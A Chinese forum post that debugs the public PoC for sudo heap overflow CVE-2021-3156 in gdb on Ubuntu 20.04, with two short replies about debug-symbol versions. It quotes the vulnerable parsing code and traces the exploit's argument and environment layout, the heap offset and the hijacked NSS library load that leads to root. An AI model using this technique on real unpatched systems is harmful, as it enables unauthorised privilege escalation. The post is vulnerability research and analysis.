首页
社区
课程
招聘
在Ubuntu 20.04上调试sudo堆溢出漏洞CVE-2021-3156
2021-2-5 12:36 10145

在Ubuntu 20.04上调试sudo堆溢出漏洞CVE-2021-3156

2021-2-5 12:36
10145

在论坛上看到有大佬写了CVE-2021-3156的分析,蹭一下热度。

 

本文仅记录我对CVE-2021-3156漏洞的调试过程,漏洞分析及利用思路请参考Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156),利用代码请参考blasty/CVE-2021-3156

 

测试系统为全新的Ubuntu 20.04.1虚拟机,sudo的版本为1.8.31-1ubuntu1。

 

根据漏洞介绍,此漏洞可以被所有本地用户利用,但是经过测试blasty/CVE-2021-3156只适用于non-sudoers。所以首先新建一个test用户,按照blasty/CVE-2021-3156的介绍编译并运行PoC。可以看到提权成功。接下来的目标就是结合已有资料,通过调试弄清漏洞利用的具体过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
819     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
852             for (size = 0, av = NewArgv + 1; *av; av++)
853                 size += strlen(*av) + 1;
854             if (size == 0 || (user_args = malloc(size)) == NULL) {
...
857             }
858             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
864                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
865                     while (*from) {
866                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))
867                             from++;
868                         *to++ = *from++;
869                     }
870                     *to++ = ' ';
871                 }
...
884             }
...
886     }

溢出的原因是在sudo处理命令行参数的时候,转译字符\使while (*from)跳过了后面的\x00Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156)里面介绍了3中利用方法,blasty/CVE-2021-3156实现的是3种方法中的第二种,即通过一次堆溢出覆盖了struct service_user中的name字段,从而控制了__libc_dlopen的参数,所以可以加载一个攻击者准备的so库。

 

为了更好的调试,按照ubuntu wiki中的方法安装符号。

1
2
3
4
$ echo "deb http://ddebs.ubuntu.com $(lsb_release -cs) main restricted universe multiverse
> deb http://ddebs.ubuntu.com $(lsb_release -cs)-updates main restricted universe multiverse
> deb http://ddebs.ubuntu.com $(lsb_release -cs)-proposed main restricted universe multiverse" | \
> sudo tee -a /etc/apt/sources.list.d/ddebs.list
1
2
3
$ sudo apt install ubuntu-dbgsym-keyring
$ sudo apt-get update
$ sudo apt-get install sudo-dbgsym=1.8.31-1ubuntu1 # 注意要安装对应的版本

安装好符号表后开始调试,调试时要使用root权限,否则sudoedit会报错(我猜是因为gdb sudo时sudo的suid位不起作用)。

1
$ sudo gdb --args ./sudo-hax-me-a-sandwich 1

漏洞利用代码做的事情就是准备好环境变量和命令行参数后,通过execve执行sudoedit。先在exec系统调用处断下来,然后用file命令将调试的程序改为sudo,接着在main函数下断点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Reading symbols from ./sudo-hax-me-a-sandwich...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/weizi/src/CVE-2021-3156/sudo-hax-me-a-sandwich 1
 
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
 
using target: Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
** pray for your rootshell.. **
process 2604 is executing new program: /usr/bin/sudo
 
Catchpoint 1 (exec'd /usr/bin/sudo), 0x00007f2035ec7100 in ?? () from /lib64/ld-linux-x86-64.so.2
(gdb) file /usr/bin/sudo
A program is being debugged already.
Are you sure you want to change the file? (y or n) y
Load new symbol table from "/usr/bin/sudo"? (y or n) y
Reading symbols from /usr/bin/sudo...
Reading symbols from /usr/lib/debug/.build-id/c4/3faca825a3d0bf3541ed8e7c64262105da86d9.debug...
(gdb) b main
Breakpoint 2 at 0x5574f6222b20: file ../../src/sudo.c, line 136.
(gdb) c
Continuing.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
 
Breakpoint 2, main (argc=5, argv=0x7ffc20a88cf8, envp=0x7ffc20a88d28) at ../../src/sudo.c:136
136    ../../src/sudo.c: No such file or directory.

main函数断下来之后,可以查看其参数和环境变量,注意命令行参数和环境变量都存储在栈上,而且连续的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(gdb) p argv[0]
$1 = 0x7ffc20a8adf6 "sudoedit"
(gdb) p argv[1]
$2 = 0x7ffc20a8adff "-s"
(gdb) p argv[2]
$3 = 0x7ffc20a8ae02 'A' <repeats 56 times>, "\\"
(gdb) p argv[3]
$4 = 0x7ffc20a8ae3c "\\"
(gdb) p argv[4]
$5 = 0x7ffc20a8ae3e 'B' <repeats 54 times>, "\\"
(gdb) p envp[0]
$6 = 0x7ffc20a8ae76 "\\"
(gdb) p envp[62]
$7 = 0x7ffc20a8aef2 "\\"
(gdb) p envp[63]
$8 = 0x7ffc20a8aef4 "X/P0P_SH3LLZ_"
(gdb) p envp[64]
$9 = 0x7ffc20a8af02 "LC_ALL=C.UTF-8@", 'C' <repeats 185 times>...
(gdb) p envp[65]
$17 = 0x0
(gdb)

根据Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156)的介绍,溢出点在set_cmnd函数,但是目前gdb里面并没有这个符号。分析后发现set_cmnd这个函数在sudoers.so这个库里面,但是当前进程中并没有这个库。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(gdb) i sharedlibrary
From                To                  Syms Read   Shared Object Library
0x00007f2035ec7100  0x00007f2035ee9674  Yes (*)     /lib64/ld-linux-x86-64.so.2
                                        No          linux-vdso.so.1
0x00007f2035e897e0  0x00007f2035e905a5  Yes (*)     /lib/x86_64-linux-gnu/libaudit.so.1
0x00007f2035e62040  0x00007f2035e794fd  Yes (*)     /lib/x86_64-linux-gnu/libselinux.so.1
0x00007f2035e573e0  0x00007f2035e57d90  Yes         /lib/x86_64-linux-gnu/libutil.so.1
0x00007f2035e40b40  0x00007f2035e4e3ed  Yes         /usr/lib/sudo/libsudo_util.so.0
0x00007f2035c6e630  0x00007f2035de320d  Yes         /lib/x86_64-linux-gnu/libc.so.6
0x00007f2035c43490  0x00007f2035c452d1  Yes (*)     /lib/x86_64-linux-gnu/libcap-ng.so.0
0x00007f2035bb12e0  0x00007f2035c14d8e  Yes (*)     /lib/x86_64-linux-gnu/libpcre2-8.so.0
0x00007f2035baa220  0x00007f2035bab179  Yes         /lib/x86_64-linux-gnu/libdl.so.2
0x00007f2035b8dae0  0x00007f2035b9d4d5  Yes         /lib/x86_64-linux-gnu/libpthread.so.0
(*): Shared library is missing debugging information.

猜测这个库是由dlopen打开的,因此在dlopen下断点,果然看到了dlopen打开sudoers.so,并且set_cmnd的符号出现了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb) b dlopen
Breakpoint 3 at 0x7f2035baa390: file dlopen.c, line 75.
(gdb) c
Continuing.
 
Breakpoint 3, __dlopen (file=file@entry=0x7ffc20a879d0 "/usr/lib/sudo/sudoers.so", mode=257) at dlopen.c:75
75    dlopen.c: No such file or directory.
(gdb) finish
Run till exit from #0  __dlopen (file=file@entry=0x7ffc20a879d0 "/usr/lib/sudo/sudoers.so", mode=257) at dlopen.c:75
0x00005574f622f0f3 in sudo_load_plugin (policy_plugin=policy_plugin@entry=0x5574f62467e0 <policy_plugin>, info=info@entry=0x5574f731ba40, io_plugins=<optimized out>,
    io_plugins=<optimized out>) at ../../src/load_plugins.c:178
178    ../../src/load_plugins.c: No such file or directory.
Value returned is $10 = (void *) 0x5574f731bb20
(gdb) b set_cmnd
Breakpoint 4 at 0x7f2035409fd3: file ../../../plugins/sudoers/sudoers.c, line 804.

set_cmnd断下来之后你会发现这个函数被内联了,通过汇编可以看出分配内存是在sudoers_policy_main+771,所以在此处下断点,查看malloc的参数和返回值。可以看到分配内存的大小为0x74,返回值为0x5574f731a350

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Breakpoint 4, set_cmnd () at ../../../plugins/sudoers/sudoers.c:804
804    ../../../plugins/sudoers/sudoers.c: No such file or directory.
(gdb) b *(sudoers_policy_main+771)
Breakpoint 5 at 0x7f203540a133: file ../../../plugins/sudoers/sudoers.c, line 854.
(gdb) c
Continuing.
 
Breakpoint 5, 0x00007f203540a133 in set_cmnd () at ../../../plugins/sudoers/sudoers.c:854
854    in ../../../plugins/sudoers/sudoers.c
(gdb) i r rdi
rdi            0x74                116
(gdb) ni
0x00007f203540a138    854    in ../../../plugins/sudoers/sudoers.c
(gdb) i r rax
rax            0x5574f731a350      93960851792720
(gdb) x/s 0x5574f731a350+176
0x5574f731a400:    "files"

0x74这个值是三个命令行参数AAAA...AA\ \ BBBB..BB\的长度加上3(每个参数后面有一个空格或null)。根据命令行参数的长度和环境变量的长度,可以算出X/P0P_SH3LLZ_相对0x5574f731a350的偏移是57+55+1+63=176。当前的内容为files,在nss_load_library下断点,再检查0x5618c8419350+176的值为X/P0P_SH3LLZ_,在__libc_dlopen_mode下断点,可以看到进程在打开libnss_X/P0P_SH3LLZ_ .so.2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(gdb) b nss_load_library
Breakpoint 6 at 0x7f2035d8f4c0: file nsswitch.c, line 329.
(gdb) c
Continuing.
 
Breakpoint 6, nss_load_library (ni=ni@entry=0x5574f731a3d0) at nsswitch.c:329
329    nsswitch.c: No such file or directory.
(gdb) x/s 0x5574f731a350+176
0x5574f731a400:    "X/P0P_SH3LLZ_ "
(gdb) p *ni
$11 = {next = 0x0, actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE}, library = 0x0, known = 0x5574f731f770,
  name = 0x5574f731a400 "X/P0P_SH3LLZ_ "}
(gdb) b __libc_dlopen_mode
Breakpoint 7 at 0x7f2035dab930: file dl-libc.c, line 186.
(gdb) c
Continuing.
 
Breakpoint 7, __GI___libc_dlopen_mode (name=name@entry=0x7ffc20a88160 "libnss_X/P0P_SH3LLZ_ .so.2", mode=mode@entry=-2147483646) at dl-libc.c:186
186    dl-libc.c: No such file or directory.

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞1
打赏
分享
最新回复 (2)
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_oexecrwb 2021-12-14 17:12
2
0
老哥这个版本怎么选择额sudo-dbgsym=1.8.31-1ubuntu1 # 注意要安装对应的版本,我sudo是1.8.21p2, ubuntu是Linux ubuntu 5.4.0-91-generic #102~18.04.1-Ubuntu 
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_oexecrwb 2021-12-14 17:16
3
0
。。。搞好了我用的是sudo-dbgsym=1.8.21p2-3ubuntu1.4 就能下下来了
游客
登录 | 注册 方可回帖
返回